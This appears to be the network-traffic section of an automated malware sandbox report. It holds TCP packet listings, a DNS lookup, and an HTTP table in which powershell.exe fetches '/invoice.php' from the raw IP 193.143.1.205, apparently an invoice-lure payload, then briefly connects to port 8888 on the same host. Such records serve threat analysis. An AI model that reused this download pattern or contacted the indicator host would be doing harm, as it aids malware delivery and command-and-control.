Jan 10, 2025 14:45:14.312825918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312828064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312864065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312896013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312906981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312927961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312958956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.312977076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.312990904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313024044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313035011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313055992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313086033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313097954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313118935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313149929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313162088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313182116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313214064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313224077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313245058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313277960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313287973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313309908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313343048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313350916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313374996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313425064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313437939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313457012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313488960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313494921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.313520908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313554049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.313560963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.330554962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330602884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330614090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330646992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.330653906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330665112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330673933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.330676079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330687046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.330730915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.346503973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346524954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346534967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346569061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346612930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.346649885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346658945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.346659899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346689939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346698999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346709013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.346709967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346720934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346752882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.346775055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.346776962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.366714954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.366820097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.366818905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.366851091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.366895914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.366900921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.366950035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.366981030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.366997957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.367033005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367075920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.367079020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367111921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367157936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367191076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367222071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367254019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367285013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367335081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367367029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367400885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367433071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367440939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.367465973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367492914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.367499113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367528915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.367531061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367564917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.367573977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403022051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403054953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403079033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403100967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403127909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403135061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403157949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403162003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403191090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403213024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403223991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403234005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403269053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403276920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403297901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403299093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403352976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403379917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403435946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403469086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403518915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403549910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403584003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403611898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403644085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403675079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403706074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403738022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403772116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403806925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403884888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403920889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403949976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.403976917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.403980017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404021025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404035091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404067039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404112101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404115915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404146910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404180050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404186964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404284954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404318094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404326916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404350042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404382944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404390097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404414892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404448032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404455900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404479027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404525995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404531956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404560089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404593945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404602051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404625893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404659033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404670000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.404691935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404725075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404757977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404791117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404823065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404855013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404886007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404918909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404951096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.404983997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405014992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405092955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405097961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.405126095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405153036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.405158043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405172110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.405189991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405222893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405232906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.405256987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.405294895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.408679962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408715010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408746958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408765078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.408783913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408828020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.408833027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408864975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408896923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408906937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.408932924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.408979893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.408982992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409013987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409048080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409056902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.409079075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409127951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.409130096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409163952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409198046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409209013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.409229994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409261942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409286022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.409293890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409327030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409341097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.409359932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.409400940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.423171043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.423192024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.423203945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.423214912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.423226118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.423254967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.423302889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.572189093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.578313112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.579063892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.579091072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.579102039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.579113007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.579189062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585340977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585352898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585365057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585383892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585396051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585406065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585408926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585419893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585458994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585596085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585608006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585618019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585628033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585638046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585639000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585650921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585661888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585671902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585681915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585700035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585740089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585865974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585876942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585887909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585897923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585906982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585917950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585930109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.585937023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.585985899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.586179018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586189032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586199045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586209059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586219072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586220980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.586229086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586240053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586250067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586261034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586261034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.586272001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586311102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.586436987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586447001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586457014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586467028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586472034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586477995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.586482048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586493015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.586515903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.586532116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.926136017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:15.113066912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:15.635901928 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:15.640888929 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:15.641004086 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:15.641729116 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:15.647202969 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:16.434945107 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:16.487790108 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:16.729176998 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:31.590595961 CET	57473	53	192.168.2.4	1.1.1.1
Jan 10, 2025 14:45:31.596479893 CET	53	57473	1.1.1.1	192.168.2.4
Jan 10, 2025 14:45:31.596551895 CET	57473	53	192.168.2.4	1.1.1.1
Jan 10, 2025 14:45:31.602583885 CET	53	57473	1.1.1.1	192.168.2.4
Jan 10, 2025 14:45:32.078783989 CET	57473	53	192.168.2.4	1.1.1.1
Jan 10, 2025 14:45:32.087146997 CET	53	57473	1.1.1.1	192.168.2.4
Jan 10, 2025 14:45:32.087358952 CET	57473	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:45:28.499742031 CET	64051	53	192.168.2.4	1.1.1.1
Jan 10, 2025 14:45:31.590147972 CET	53	56975	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:45:28.499742031 CET	192.168.2.4	1.1.1.1	0x6443	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:45:28.506917000 CET	1.1.1.1	192.168.2.4	0x6443	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:45:12.863017082 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:45:13.703795910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:45:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
